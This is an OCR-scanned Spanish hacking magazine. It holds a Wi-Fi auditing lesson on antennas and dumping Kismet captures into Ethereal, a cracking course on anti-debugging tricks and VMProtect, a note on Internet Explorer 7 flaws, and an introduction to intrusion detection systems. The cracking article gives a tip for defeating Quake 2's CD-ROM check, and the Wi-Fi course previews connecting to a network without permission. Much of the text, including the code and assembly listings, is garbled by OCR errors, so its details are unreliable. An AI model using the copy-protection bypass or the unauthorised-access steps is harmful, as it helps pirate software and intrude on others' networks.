clara una cosa. Si la ganancia es muy alta
puede ocurrir que ignore a magquinas ina-
lambricas que se encuentre por debajo o
por encima de la zona de cobertura. Un
ejemplo para este caso podria ser puntos
de acceso que se encuentre en una planta
mas abajo o mds alta de un mismo edificic.

Sin embargo, una antena omnidirec-
cional de poca ganancia podria no ser lo
suficiente sensible como para detectar
magquinas inaldmbricas. En este caso, una
antena parcialmente direccional, como por
ejemplo una Yagi de 15 dBi, seria la mds
ideal. En cuanto a antenas direccionales,
existen varias ventajas:

- Se podrian utilizar para compro-
bar lo lejos que se podria situar un usuario
malintencionado.

el caso que pusimos antes para deteccion
de redes inalimbricas de un mismo edifi-
cio.

Existen antenas caseras que pueden ser
faciles de crear con un poco de padencia
v con las herramientas necesarias. Hay
incluso algunas que tan solo es necesario
utilizar la imaginacion y la inteligencia. De
todas maneras, no es aconsejable hacer
una auditoria de seguridad con este tipo
de antenas va que su rendimiento no es
mury fiable.

Vale, que si, lo sé... Ya sé que hay ante-
nas caseras que vencen a las comerciales
por amplio margen. Pero medir comec-
tamente los parimetros de las antenas
caseras que acabamos de indicar es dificil
y bastante costoso,
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- Estas antenas pueden atravesar ~ Amplificadores RF

paredes, por ello seria muy interesante sa-
ber cudnta informacidn se filtra a través de
ellas.

. Son interesantes para ataques de
distorsion o de agente intermediario,

- Vitales para determinar en qué
Zona o posicion se tendria que situar un
atacante para lanzar un ataque.

- Algunas redes inaldmbricas tan
solo pueden ser detectadas con antenas di-
reccionales con una ganancia decente. Es

Las antenas consiguen ganancia
pasiva enfocando la energia, los am-
plificadores consiguen ganancia acti-
va inyectando potencia continua (DC)
externa en el cable de radiofrecuen-
cia. En ocasiones a esto se le llama
tensidn fantasma y la lleva el cable
RF desde un inyector de corriente a
un amplificador. Existen dos tipos de
amplificadores:

@ s
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Unidireccionales: Aumentan la
potencia de transmision.
0 Bidireccionales: También au-
mentan la sensibilidad de recepcidn.

Ambos tipos los podemos encontrar
coma dispositivos de ganancia fija o
variable. Para el disefio de una red, los

amplificadores de ganancia fija de poten-

cia son los mas recomendados, debido
a su estabilidad global v a todos los
calculos de potencia de radiofrecuencia
necesarios deben de realizarse antes de
desplegar la red. Los amplificadores se
utilizan para compensar las pérdidas de-
hidas a una excesiva longitud del cable
ubicado entre la antena y el dispositivo
inalimbrico, para este caso supongamos
que 5 una antena.

Cables v conectores RF

Como yva hemos visto, los cables de
radiofrecuencia son una de las principa-
les fuentes de pérdida en las redes ina-
limbricas. A veces vale la pena gastar en
un buen cable v conseguir un cable con
el menor nivel de autenticacion posible,

Los cables con conectores integrados
son muy recomendables. Recuerda que
los conectores mal fijados puede ser
muy perjudicial y muy dificil de descu-
brir. También hay que recordar que el
cable debe de tener la misma impedan-
cia (5 ohmios) que el resto de sus com-
ponentes inalimbricos.

[ ETS

Es interesante escoger los conectores
de cable que se correspondan con los
dispositivos y antenas que ya tengamos,
Podemos conectar cualquier cosa con
los conectores de pinzas o rosca apro-
piados, pero esto podria afadir pérdida
de 2 a 3 dB. En lo que representa a
hardware inalambrico los pigtails son los
muis problemdticos. Se rompen pronto,
como los coneclores, v hay que andar
asegurdndose que el conector estd bien
enganchado.

Conclusiones finales

El cableado v los conectores no son
directamente importantes para la segu-
ridad inalimbrica pero resulta esencia
para una sefal fuerte, clara y una buena
sensibilidad de recepcion. Recordad que
una WLAN con una pérdida de sefal
significante presentard una resistencia
muy baja a los atagues de distorsidn o
de agente intermediario en la capa 1 del
micdela 051,

Solo me queda avisaros de que no
existe un Gnico kit de hardware que se
adapte a todas las situaciones segin
cudl sea el objetivo v las necesidades del
proceso de auditoria, También podria-
mos habernos extendido un poco mas
v hablar un sobre el cable y sobre los
distintos tipos de conectores que existen.
Pero no lo creo necesario. 5i necesitiis

informacion al respecto podréis tirar del
amigo google seguro que él os echard
una mano ;)

Volcado de trafico en redes
WLAN

En el articulo del mes pasado, os co-
municaba que este mes tocariamos las
antenas para nuestras tarjetas inalimbri-
cas y si lo permitia el espacio también tes
cariamos el volcado de trifico de redes
WLAN. Pues bien, empecemos con el
vaolcado de trifico inalimbrico.

Podriamos capturar trifico inalimbri-
co con varias aplicaciones preparadas
para este objetivo, como ya vimos en
un articulo del curso Hack Wifi, existen
muchas y variadas herramientas donde
eSCORET.

Para el caso que hoy nos ocupd va-
mos a utilizar Kismet, ya que es una de
las herramientas que mas utilizaremos
y principalmente porque va la tenemos
instalacda en nuestro sistema. Ahora, el
procedimiento es muy parecido en la
mavyoria de las aplicaciones que permi-
tan volcar trifico con otras aplicaciones.

Ejecutando Kismet

A estas alturas ya deberiamos tener
Kismet bien instalado, compilado v confi-
gurado en nuestros sistema GNU/LINUX.
Por ello para arrancar kismet tan solo
debemos de escribir Kismet en un Termi-
nal. (Foto 3)

$ Kismet i

Como ya vimos en el articulo pasadao,
donde aprendimos a manejar y com-
prender Kismet, Kismet es capaz, por si
solo, de sacar la direccidn IP de una red
inalambrica, asi como capturar trifico
procedente de la red inalambrica. Como
vemos en la imagen (kismet.bmp), kismet
ha sacado la direccion IP de dos redes
inalimbricas, las dos direcciones son de
clase C.

Si cerramos la aplicacion mediante
[Ctrl] # |C] kismet guardard la sesidn de
captura en varios ficheros, ¥Ya lo tendre-
mos que saber del articulo anterior. Pues
bien, vamos a volcar toda esa informa-
citn que Kismet ha recogido v veimosla
hien organizada v de una forma mds
clara.

Fara ello vamos a utilizar un sniffer



del que ya hemos hablado varias veces
en el curso Hack Wifi o en otros articu-
los no tan relacionados, Ethereal.

Instalamos Ethereal en
Ubuntu

Pues como ya deberiais saber, para
instalar Ethereal a través del gestor de pa-
quetes de Ubuntu, que es el mismo que
utiliza Debian, ya que Ubuntu esta basa-
do en esta distribucidn, debemaos escribir
en una Terminal con permisos de root:

#aptgetupdate |

Y
A P

Mediante estos pardmetros que hemos
escrito en la consola habremos actuali-
zado el paquete source list y habremos
instalado Ethereal en nuestro sistema
GNU/LINUX, asi como sus dependen-
cias y librerias necesarias. Recordad que
alguna libreria de Ethereal ya la tenemos
instalada, porque en su momento, cuan-
do instalamos Kismet la necesitibamos.
Estas son las dependencias que necesita
Ethereal: (Foto 4)

Si queréis instalar Ethereal “a mano”
podéis descargaros el cadigo fuente de
aqui:

hitp:/ fwww._ethereal.com/distribution/
ethereal0.99.0. tar.gz

Una vez que hemos instalado v compi-
lado Ethereal, tan solo nos queda utilizar-
lo para volcar el trifico que ha recogido
Kismet. De esta manera tendremos todo
mss comprensible y legible.

Volcando trifico de
Kismet en Ethe-
real

Arrancamos
Ethereal mediante
una consola escri-
biendo:

Buscamos la pestafia: File - Open...
(Foto5s)

¥ al pulsar sobre “Open..."” nos encon-
traremos con otra ventana. (Foto 6)

En esta ventana tenemos que indicarle
a Ethereal donde se encuentran los fiche-
ros de triafico que queremos volcar en
dicha aplicacién. Para ello, seleccionamos
en la primera pantalla blanca, “FileSys-
tem”. En la segunda venta debemos ir
seleccionando la ruta donde se encuentra
el fichero con trifico inalambrico.

En la distribucidn que estoy utilizando
yo, seria fvar/log/kismet/, Segun qué
distribucion, esta ruta puede variar. Para
conocer la ruta donde Kismet almacena
de forma predeterminada los ficheros de
trifico puedes tirar del amigo google ;)
o bien preguntar en el foro http://'www,
hackwifi.tk.

Una vez seleccionada la ruta tan solo
hay que indicar cual es el fichero que
deseamos volcar en Ethereal. En este ca-
s0 serd el fichero con extension *.dump.
(Foto 7)

Al volcarlo, Ethereal clasificara toda la
informacion recogida de una forma mds
ordenada y legible.

Con este articulo hemos terminado
con la deteccion de redes inaldmbricas.
Hemos conocido varias herramientas
inalimbricas que existen para detectar
WLAN. ¥ hemos cogido dos de ellas que
utilizan dos formas diferentes de detectar
redes WIFI y las hemos destripado para
aprender a utilizarlas,

También ya hemos tocado el tema de
las antenas, tema muy importante comao
hemos visto hoy para la seguridad vy el
ataque en redes WLAN. El volcado de
trifico inalimbrico también lo hemos
tocado.

En el préximo nimero

En el proximo ndmero del curso apren-
deremos a motar una red inaldmbrica
desde cero (sin seguridad), como escena-
rio para el ataque que realizaremos a pos-
teriori, desde Windows y GNL/LINUX.

Montaremos la red inaldimbrica insegu-
ra y, desde el punto de vista del atacante,
utilizando Windows y GNU/LINUX,
detectaremos dicha red inaldmbrica y
nos conectaremos a ella sin permiso. De
esta forma comprobaremos lo realmente
peligroso que puede ser tener una red
inalimbrica desprotegida. ¥ lo sencillo
que es conectarse a ella.

Un saludo v hasta la proxima, lectores
" NeTTinG (Enrique Andrade Gonzilez)
nettinghxc@gmail.com

http://www.wadalbertia.org

http://www.hackwifi.tk
http://www.blognetting.tk
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CURSOD de GRACK

Magquinas Virtuales

Anticracking |

Hola, amigos. Enfrentamos, de nuevo, este mes las nuevas tecnologias de proteccion de soft-

ware. Una de ellas, la mas conocida, las maquinas virtuales. Repasaremos algunos conceptos
basicos de la entrega anterior y seguiremos hacia el camino de las VM (Virtual Machines).

Recordando...

Imaginemos, en un listado, poder hacer-
lo en cada etiqueta, y con mds DB, ademds
de diferentes tipos de saltos. Evidentemen-
te, este tipo de trucos, variados v maginifica-
dos, utilizan los packers y ofuscadores de la
actualidad.

También en esos momentos v hoy en
la actualidad, como va mencioné, tenemos
trucos de comao detectar breakpoints: (ver
listado 1)

Como GDB (el debugger por excelencia
en linux) todos los debuggers, aplican la
famosa y bien conocida INT 3, que lo que
hace es producir una pausa por instruccion.

Es decir, se intercalan INT 3, de acuerdo
a donde hayamos puesto el breakpoint, de
manera, que cuando se llega ahi, sa devuel
ve el control al programa, mediante ofras
rutinas, ya que & proceso debuggeado es,
en definitiva, un proceso hijo o dependiente
del proceso padre, que es el debugger.

También caben destacar muchas de las
otras técnicas utilizadas por los juegos y
aplicaciones de gestidn, como por ejemplo,
el chequeo de CO-ROM, con lo que se
creda que el usuario no iba a ir por cada PC
instalando el juego v llevdndose el CD. Lue-
g0, claro, cuando arribaron las grabadoras
de CD-ROM esto dejd de funclonar como
se esperaba, ademds de que los crackers
pasaron encrmemente la proteccion sin

problemas.

@

Veamos un pequeno ejemplo presenta-
do en Quake 2, en su proteccidon CD-ROM
lock: {ver Listado 2)

Podemos ver que busca, con la vanable
%5, la unidad por defecto del CD-ROM de
la PC donde estd corriendo. Simplemente,
podemos reemplazar %s por un punto v lis-
to, buscard el EXE en la carpeta donde esté.

Protecciones basadas en
maquinas virtuales

Primero explicaré qué es una maquina
virtual. No es un concepto dificil de expli-
car, y seguramente lo he tratado anterior-
mente.

Lo interesante de la maquina virtual y pa-
ra lo principal que se empezaron a utilizar

en las protecciones anticracking, es nada
mas ni nada menos que para dificultar el
entendimiento del cddigo.

Es decir, es una manera de ofuscamiento
del codigo. Sin ir mds lejos, como menciong
en el mimero anterior, tenemos VM por
todos lados, entre las méds destacadas hoy
en dia son, JAVa ([VM), .NET (ILVM), VB
{PeodeVM), FOXPRO, Clipper, COBOL, sin
mencionar las VM de TODOS los lenguajes
de scripting.

Entonces, sabemos que, las maquinas
virtuales, simulan una CPL, interpretando
cadigo que no es el nativo de nuestra PC;
de esta manera, tenemas una ventaja prin-
cipal a favor y otra en contra. Una es que el
nivel del lenguaje tiende a ser mds allo para
el programador, es decir, mds abstracto,

// -- antibreakpoint.c =--
void fool)

i

printf ("Hallown”™);

}

int maini()

Oxcc) {

printf (“"BREAEPOINT\N™) ;
exit(l);

}

fool);

}
/f -- EOF --

if {([(*(volatile unsigned *} ([(unsigned)foo)

& Oxff) ==




Desde el punto de vista proteccidn, es més
dificultoso interpretar ensamblador de una
miéquina virtual, a la que no conocemos los
codigos de operacion utilizados por ésta.

Pero también como principal ventaja en
contra &5 la baja de la performance y rendi
miento de nuestro PC, ademds del espacio
utilizado por los grandes Frameworks y
VM's que existen y gobiernan hoy en dia el
mercado,

Otra cosa cierta, es la capacidad de mul-
tiplataforma. Lo cual es una caracteristica
mas que necesaria, para que los sistemas
sean del SO (Sistema Operativo) que sean

it aCTiEn entre si'utilzandb estandares y
lenguajes interpretables.

LO INTERESANTE DE LA MAQUI-
NA VIRTUAL Y PARA LO PRIN-
CIPAL QUE SE EMPEZARON A
UTILIZAR EN LAS PROTECCIO-
NES ANTICRACKING, ES NADA
MAS NI NADA MENOS QUE PARA
DIFICULTAR EL ENTENDIMIENTO
DEL CODIGO.

Entonces, entendemos que cambiar la
estrategia de proteccion a un cracker no le
hace gracia, y menos cuando protecciones
avanzadas “dicen” que cambian su maqui
na virtual por cada aplicacion protegida.
Imaginando que sacas una version nueva
de tw aplicacion cada mes, tendrias algunos
crackers internados en tus EXE todos los
meses de por vida, hasta que tu sistema no
salga mds.

La verdad es que las VM llegaron hace
rato, son conocidas recién con mas fervor
en éstos Hempos, v No se van a ir, creo que
nunca mas,

Anallzandu u
emn \I'M’s.

VMProtect es una proteccidn que
implementa una mdquina virtual, co-
mo principal estrategia de proteccion,
aungque ahora en la version actual (1.4)
posee una engine de mutacion como
agregado.

La pagina web del protector es:

http://www.polytech.ural.ru/ y podemos
ver que estd en ruso. Pero podemos tra-
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ducirlo con lo que observaremos la des-
cripcion de la proteccién de la siguiente
manera:

“New-generation software protection.
The protected parts of code are execu-
ted on the virtual machine, which makes
it really difficult to analyze and crack the
protected program. The builtin disassem-

bler and using a MAP file will allow you
to quickly select the necessary parts of
the code protected against cracking.”

H demo que podemos bajar pesa mids o
menos unos 532 KB, lo cual sorprende por su
pequeno tamano. Pero como veremos s usa
mos Peid, estd comprimido con LIPX

Descomprimiéndolo, el tamafio onginal es

I

:0042B0D3 BD4C2404
+0042B0D7 BDS542408
:0042B0ODB 51

:0042B0DC 6BBO474400

* Referenced by a Jump at Address:0042BOBC(C)

* Possible StringData Ref from Data Obj ->"%s\quakel.exe"

* Stringlata Ref from Data Cbj ->"You must have the Quake? CD in ™

lea ecx, dword ptr [esp+04]
lea edx, dword ptr [esp+08]
push ecx

|
push 00444780

->"the drive to play.”

de 1.53 MB. 5i probamos con Peid de nuevo,
veremos que nos dice que esti hecho con
Dedphi. 5i no han hecho un fake sgnature, para
engafiar Peid, podemos ver como fundona,
mnd:hmas. ) Ahora veremos un ejemplo

mado cuando lo aplicamos. Mostrané primerno
oo fuente del programa que analizaremos:
{ver lstado 3)

Como estardn observando, se trata del se-
gundo ejemplo de los tutoriales de Win32Asm
de kczelion. Lo cual area una simple ventana de

Windows. Algo muy simple para ver como Vivk
Protect lo defiorma. ;)

Ahora el incipal;
4}mmm proceso princpal; (ver

Ahora veremos el proceso principal, donde
atenderemos los mensages a nuestra simple ven-
tana. (ver istado 5)

Veamos como queda nuestno gemplo com-
pilado con MASM, y coma lo vemos en Olly,
sto para debuggear. (ver istado 6)

ddﬂquodentﬁcﬁmwduammwd
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[

i
.data ;
ClassName db “SimpleWinClass”,0

AppName db “Our First Window®,0

.data?

hiInstance HINSTANCE 7

CommandLine LPSTR 7

. Code

start:
invoke GetModuleHandle, NULL
Mo hInstance,eax
invoke GetCommandLine
mov CommandLine, eax | [
invoke WinMain, hInstance,NULL,CommandLine, SW hh----dhﬂ--r-—-

SHOWDEFAULT | PRI BT il
invoke ExitProcess,eax £ ?”'

|

A

T v
LEARARS

la aplicacidn con ViMProtect y observaremos
ocomo queda. Lo que si deben tener en cuenta
es que puede ser que VMProtect tenga loaders, | Fle: |G:\Cracking Lablpeid newlunpacked. exe [Es ]
ﬂCﬂﬁE1&}“ﬂﬂuﬁﬁF;;?EnilﬂﬂﬂUHpﬂ
princpal del programa esté idéntico mads “aden- . :
¥o” del oticigo, Pero esolo dsaibrremosme. [ EP Section: [unpacked ~ [>]
tarde. File Offset: [DD129R60 First Bytes: [55,86,EC,83
He aquiel programa protegido SOLAMEN. | Unker Info: [2.25 Subsystem: [Win32 GUI
TEummhcpdﬁn\ﬁnniirjithmrUﬂat:ﬂ
Comao vemos, no es el cuerpo principal del ==
programa, porgue no sabremos donde llegard ]E"“#dndﬂuiu = Armiba: infeiando
hasta que no le hagamos un andlisis intenso, B | Mukiscan | [ Taskviewer | [ opbions | [ abow | [ Emt registros
mo podemaos ver, En la segunda instruccidn, un : : - Vmprotectunpacked
CALL, nos Bevard a esta zona: (ver Listado 8)
Se inicializan todos los registros preparindo-
se para el comienzo del programa.
Conclusion

En e prdsimo nimero empezaremos a ana-
lizar como este protector modificd dertas panes
del ejecutable de prueba, v como fundiona la
VM, mduidos los opcodes. Imaginen poder
entender este lipo de proteccones, para poder
crear nuestra propia rmaguina virtual, o modificar
£S5t endstente.

MNos vermos en el numeno que viene.

Espero que les haya gustado.

Spark
hupﬁﬁmwwaﬁﬂdmﬂ::q;
http://www.disidents.es
spark@disidents.org
spark@sickdogs.com.ar
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WinMain proc

hInst:HINSTANCE, hPrevInst :HINSTANCE, CmdLine: LESTR, CmdShow : DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

mow wc.cbhSize, SIZEQOF WHDCLASSEX

mow we.style, C5 HREDRAW or CS_VREDRAW
mov we. lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra, NULL

mov we.cbhbWndExtra, NULL

push hlnstance

pop wo.hinstance

A mov  we.hbrBackground, COLOR_WINDOW+1
mov we . lpszMenuName , NULL
Mo wC. lpszClassName, OFFSET ClassName
invoke LoadIcon, NULL, IDI_APPLICATION
mov wec.hlcon,eax
mov wc.hIconSm, eax
invoke LoadCursor,NULL, IDC_ARROW
mow we.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR
AppMame, \
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, \
W mﬂﬂfﬁﬁﬂﬂlIﬁlUHEIEHHHLEH'ﬂﬂﬂiﬁﬁumnﬂﬂlhdlﬂl \
hinst, MULL
mov hwnd, eax
invoke ShowWindow, hwnd, SW_SHOWNORMAL
invoke UpdateWindow, hwnd
«HHILE TRUE
invoke GetMessage, ADDR msg,MNULL, 0,0
+BREAK .IF ([!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENOW
mov
ret
WinMain endp

eax,msg.wParam

WndProc proc MANGLYMRD, uMsq:UINT, wParam:WPARDM,
«IF uMsg==WM DESTROY
invoke PostQuitMessage,NULL

- BLSE
invoke DefWindowProc,hWnd, uMsq,wParam,lParam

1Param: LPARAM

ret
+ENDIF
XOr @ax;eax
ret
WndProc endp
end start

@4z

-:m. W;M.Wﬂb
MV [DWORD DS:403020] , EAX

MV [CWORD D6:403024] , EAX

FUSH OA

BUSH [DWORD [S:403024]

PUSH 0

PUSH [CWORD DS:403020)

CALL WIN.00401031

PUSH EAX

CALL <JMP.SKERNEL32,ExitProcess>

PUSH WIN vmp.00404DD0
CALL WIN vmp.00401098
POP EDX

TEST [BYTE DS:ECX-1A],DH
JE SHORT WIN vmp.00400FED
PUSH ES

PUSH WIN vmp.00404CAO
CALL WIN wmp.00401098
MOV EAX, [DWORD 55:EBP]
MOV EDX, [CWORD SS:EBP+4]
MW CL, [BYTE 55:EBP+8]
ADD EBP,2

SHRED EAX,EDX,CL

MOV [DWORD SS:EBP+4],EARX

PUSH ESI
PUSH EDI
PUSH EBX
PUSH ERX
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"Fallos Explorer

Acabo de realizar la siguiente experiencia: desde la barra de Google busco la frase fallas Explorer 7, y el
resultado es sorprendente. Aproximadamente 405.000 paginas. No quiere decir esto que todas ellas se
refieran a diferentes fallas o errores, pero el numero es significativo, y basta con mirar los titulos de
algunas de ellas para tener un panorama bastante desalentador por cierto...

El Internet Explorer 7 sigue sumando problemas: le detectaron una nueva falla.

Menos de 24 horas han transcurrido desde el lanzamiento oficial de Internet Explorer 7 y ya se ha desc
bierto la primera vulnerabilidad. '
Internet Explorer 7 esta lleno de errores. i
Descubren una nueva falla en el Explorer 7.

Mis fallas en Internet Explorer 7.0.

Internet Explorer 7 en el ojo del huracan.

Y asi podriamos seguir con cada una de las pagi
ciente para decir que una vez mas nos han ¢
esto. Lo habiamos anticipado, pero mniulera |
dos en este sentido. No ha sido asi.

Mientras tanto, proponemos seguir apostando al suftwm libre, de ¢
optimizando las herramientas (que también tienen sus agujeros). 't_" -
\ [Feilz 2007 para t




Sistemas de Deteccion de Intrusos

Por Federico Pacheco (Quark)
federicop@elitech.com.ar

Mucho es lo que se ha escrito sobre la figura de los
intrusos en el ambiente de la segunidad informatica,
mucho mas es lo que se ha escrito sobre deteccidn,
desde la simple deteccion de una accidon tomada
hasta la profundidad de los mas sensibles detalles,
Es sabido que en la incansable bisqueda por la ma-
yor seguridad nos podemos posicionar en tres dife-
rentes instantes que son el antes, el durante v el
después de un incidente. En el caso de situarnos an-
tes, diremos que estamos ejerciendo la prevencidn,
en tanto que si nos encontramos en el durante, esta-
remos frente a la tan mentada deteccidn, y si tene-
mos la mala suerte de estar en el momento menos
oportuno, deberemos pasar a la accion de la correc-
cidn, el dltimoe momento en que podemos relacio-
namos con un incidente antes de que haya dejado
de ser una amenaza.

}Pero qué es exactamente la deteccion de intrusos{
Antes de entrar definiciones técnicas es natural ha-
cer un repaso histdrico que llevd a la creacion de es-
le concepto. Mos remontamos al afo 1972, cuando
James Anderson de las fuerzas aéreas norteamerica-
nas (USAF) publica un texto sobre la seguridad en
computadoras. Parte de la sensacion causada por la
informdtica hasta el momento era la toma de con-
ciencia de que cada vez habia mas procesos criticos
controlados por computadoras v los militares temian
aquello que no controlaban. En 1980, Anderson in-
siste con la importancia del tema escribiendo "Com-
puter Security Threat Monitoring and Surveillance”,
donde se inician las bases de la deteccidon de intru-
s0s en sistemas de computadoras, principalmente
mediante la generacidn y revision de archivos de
log. En las referencias encontrardn un link oficial al
archivo original escaneado del trabajo de Anderson,

Entre 1984 v 1996, Dorothy Denning v Peter Mew-
mann desarrollan el IDES (Intrusion Detection Ex-
pert System) el cual se basaba en reglas. En esa
misma década comenzo a popularizarse la detec-
cidn de intrusiones de red y salieron al mercado los
primeros productos comerciales. Ya comenzaba la
clara division conceptual entre deteccién en siste-
mas y en redes.

Seguimos sin respondernos la pregunta inicial, asi
que aclarémoslo con la brillante definicidn dada por
la especialista Denning en 1987: “Elemento que de-
tecta, identifica v responde a actividades no autori-
zadas o anormales”. Una excelente manera de
comenzar para todos aquellos que crefan que solo
los individuos de sexo masculino se especializaban
en seguridad informdtica antes de 1990.

Clasificaciones

Las aproximaciones mas modernas amplian el con-
cepto diciendo que un IDS es un modelo de seguri-
dad aplicable a computadoras y a redes que

recolecta y analiza informacion procedente de dis-
tintas dreas con el objetivo de identificar posibles
violaciones a la seguridad internos y externos. No
me adjudicaré la definicién, solo la adaptacién al
lenguaje natural. Anderson ya aseguraba que se po-
dia aplicar este paradigma a equipos v redes debido
a la naturaleza intrinseca de supervision de los re-
cursos, Muchas veces se ulilizan para este trabajo
técnicas de andlisis de vulnerabilidades.

Tenemos aqui la primera clasificacion: Host DS
(HIDS) y Network 1DS (NIDS). El primero se realiza
a nivel del sistema operativo, controlando accesos
de los usuarios, archivos de sistema, recursos de
hardware, etc. La problemdtica de la deteccidn esta
asociada al discernimiento de los comportamientos
potencialmente perjudiciales, es decir que es nece-
sano establecer politicas que determinen claramen-
te las acciones que bos usuarios estardn habilitados a

SISTEMAS DE DETECCION DE INTRUSOS
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tomar para que en base a ello se identifiguen aquellas
otras que atenten contra el umbral predefinido. A to-
doj esto podemos sumarle un concepto moderno,
que admite una deteccién a nivel de aplicacién, lo
cudl amplia las posibilidades de deteccion ademis de
descentralizar el procedimiento en si mismo.

Para el caso de las redes, podemos monitorear el an-
cho de banda, los accesos desde v hacia direcciones
remotas, el uso de protocolos prohibidos o inseguros,
etc. El trifico puede ser estudiado entonces a fin de
encontrar comportamientos anormales,

De esta manera ya podemos acercarnos a la primera
limitacion: el volumen de los datos a procesar. Tratin-
dose de un equipo, v suponiendo que el mismo reali-
ce funciones de diversa indole, no seria eficiente
permilir que ademds procese excesiva cantidad de
datos extra con el solo fin de ver si algo malo estd
ocurriendo, y méds aun cuando la probabilidad sea re-
ducida. §i en cambio pensamos en una red, un cilcu-
lo rapido nos dice que en una simple conexidn ADSL
de 512Kb trabajando las 24 horas del dia, conseguiria
recibir alrededor de 5 Gb de datos (pensemos por
ejemplo en los programas P2P de intercambio de ar-
chivos). Contando con que en las empresas los an-
chos de banda suelen ser mucho mayores v que en
una semana solo hay 5 dias habiles, podriamos decir
gue al cabo de un mes tendriamos que haber almace-
nado unos 100 Gh, es decir, un disco rigido standard
completo por mes.

A esto hay que sumarle el hecho de que el trifico ne-
cesita ser procesado en tiempo real para gue sea fac-
tihle el proceso de deteccidn. De nada serviria
determinar que algo yva ocurrid analizando el trifico
almacenado.

Este panorama nos obliga a definir otro elemento lla-
maco “evento de interés®,
Esto es, si nos referimos a
HIDS, un subconjunto del
trifico procesable, que a
su vez es un subconjunto
del trdfico otal, v que de-
termina la cantidad mini-
ma de muestras que
debemos analizar para

consideramos seguros.

Otra clasificacidn que se
tiene en cuenta en el estu-
dio de los IDS es conside-
rando el tipo de técnica
que se utiliza para la de-
teccidn. En este sentido
existen algunas variantes,
nos inclinaremos por la
mads simple que solo divi-
de en:

Deteccion de anomalias:
se basa en suponer que
una intrusion se puede ver
como una anomalia de
nuestro sistema, por lo
gue podemos establecer
un perfil o patrén general

(



del comportamiento habitual para luego compararo
estadisticamente como una desviacion de nuestro
perfil. Por esto mismo es que también se lo llama
“behavior based” (basado en comportamiento)

Deteccion de uso indebido: presupone que pode-
mos establecer patrones para los diferentes ataques
conocidos (por medio de firmas, por ejemplo) v al-
gunas de sus variaciones, que son las que intentare-
mos detectar.

La diferencia sustancial entre ambos es que mientras
que la deteccion de anomalfas conoce lo normal
{conocimiento positivo) y detecta lo anormal, el
otro se limita a conocer lo anormal para poderlo de-
tectar (conocimiento negativo).

Componentes

Antes de ver las partes constitutivas de un 105, defi-
niremos algunos términos de importancia. Uno de
ellos es el de “firma”, que es todo aquello que des-
cribe un patrén de interés”. Otro término es el de
“filiro”, que es la transcripcién de una firma a un
lenguaje comprensible por los sensores.

Las firmas se comportan como patrones, de forma
andloga a los sistemas de antivirus, en los cudles se
actualiza la base de referencia contra la cual se
comparan los patrones de comportamiento del soft-
ware maligno. De esta forma podemos detectar ata-
ques conocidos de la misma manera que los
antivirus detectan virus conocidos. Por ahora no en-
traremos en el terreno de lo que haremos frente a lo
desconocido.

Entonces podemos mencionar los componentes ba-
sicos de un IDS, que son: los sensores y las conso-
las. Los sensores son justamente los elementos gue
realizan el “sensado” y examinan la informacion que
atraviesa un determinado lugar (fisico o logico). Es-
tos pueden ser activos o pasivos. Un sensor activo
(o de push) reacciona al recibir un evento de inte-
rés, enviando la informacién a una consola. Un sen-
sor pasivo (o de pull) almacena los eventos hasta
tanto se lo consulte desde una consola. Por su parte
las consolas, son los elementos complementarios a
los sensores, y se encargan de recibir la informacion
de los mismos y presentarla al administrador de for-
ma comprensible (Figura 1).

Claro que esto no termina aqui, va que estos dos
componentes deberdn comunicarse con un idioma
en comun, y para eso se desarrollaron los diferentes
protocolos sensor-consola. Algunos de ellos son:

- CI5L ({Common Intrusion Spedification Language)

- OPSEC (Open Platform for Secure Enterprise Con-
nectivity)

- CCl {Common Content Inspection)

- ANSA [Adaptive Network Security Alliance)

Hablando de establecer estindares, es interesante co-
mentar que a fines de los noventa, la oficina de infor-
macidn y tecnologia del DARPA inicié un provecto
llamado CIDF (Common Intrusion Detection Frame-
work) con el objetivo de crear interfaces de aplicacio-
nes (APl) y protocolos que permitieran la comunicacion
entre los diferentes IDS para reaprovecharlos en otros
sisternas y lograr mayor compatibilidad.

Este esquema propuso una serie de estructuras que
denomina cajas con funciones que deberian realizar
los sistemas 1D5S.

Los componentes principales son;

Event generator (E box): la funcién conceptual de
los sensores

Analysis (A box): la funcion conceptual de las con-
solas

Database (D box): base de datos de informes, fir-
mas y patrones

Response (R box): respuesta ante los eventos, pue-
de estar asociado a la consola

Desafios

Dos conceptos que persiguen a los sensores de los
105 son los de falso positivo v falso negativo. Un fal-
s0 positivo sucede cuando se detecta la presencia
de una intrusion que no existe y un falso negativo
sucede cuando una intrusion existe y es ignorada o
no detectada. Pero el problema no es su existencia,
sino que el nivel de sensibilidad de los reportes de
alertas puede transformarse en una molestia que lle-
varia a la reduccién de la utilidad real, pudiendo
mezclarse una alerta verdadera entre tantos avisos
menos importantes.,

Ohro desafio es, segln vimos, el almacenamiento de
la informacin. Normalmente los logs de auditoria
no son mds que archivos de texto, por lo tanto po-
demos aprovechar los formatos de texto existentes
o bien alguno especial para bases de datos (SQL,
Oracle, MySQL, PostgreSQL). En lo posible deberia-
mos reducir el volumen de datos conservando la in-
formacién de interés, manteniendo un formato que
permita interrelacionar los datos, escribirlos, consul-
tarlos y actualizarios. La correlacidn, o relacién mu-
lua entre elementos, puede hacerse en el caso de
trifico de red, por direcciones (origen/desting), fir-
mas y contenidos, Posteriormente al almacenamien-
to, podemos guardar un histérico comprimido
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Agente CofOperativo 1

Servidor Central de Analisis

como medida de seguridad extra.

Normalmente los IDS se implementan con un
complemento entre hardware y software, siendo
los HIDS cubiertos mayormente por programas vy
los NIDS como combinacion de ambos. Un clisi-
co ejemplo de |DS es el famoso software Snort
{(Figura 2), disponible tanto para plataformas Win-
dows come GNLU/Linux.

Arquitecturas

Por decirlo de alguna forma, tendremos que decidir
donde colocar los sensores. Esto dependerd de la
estrategia a tomar, pero si nos basamos en una red
cuyo perimetro esta dado por un firewall, tendre-
mos tres posibilidades (Figura 3);

= Delante del firewall: detecta todos los paquetes an-
tes de ser filtrados, no realiza detecciones internas.

- Detras del firewall: reciben informacion filtrada,
pueden hacer detecciones internas.

- Antes y después del firewall: permite lecturas del

trafico total vy filtrado para
comprobar el correcto funcio-
namiento del firewall.

Un tipo especial de 1DS es el
llamado DIDS (Distributed
IDS). Este proporciona un ser-
vicio de deteccion de intrusos
para grandes redes. Aparecen
dos elementos mds: Central
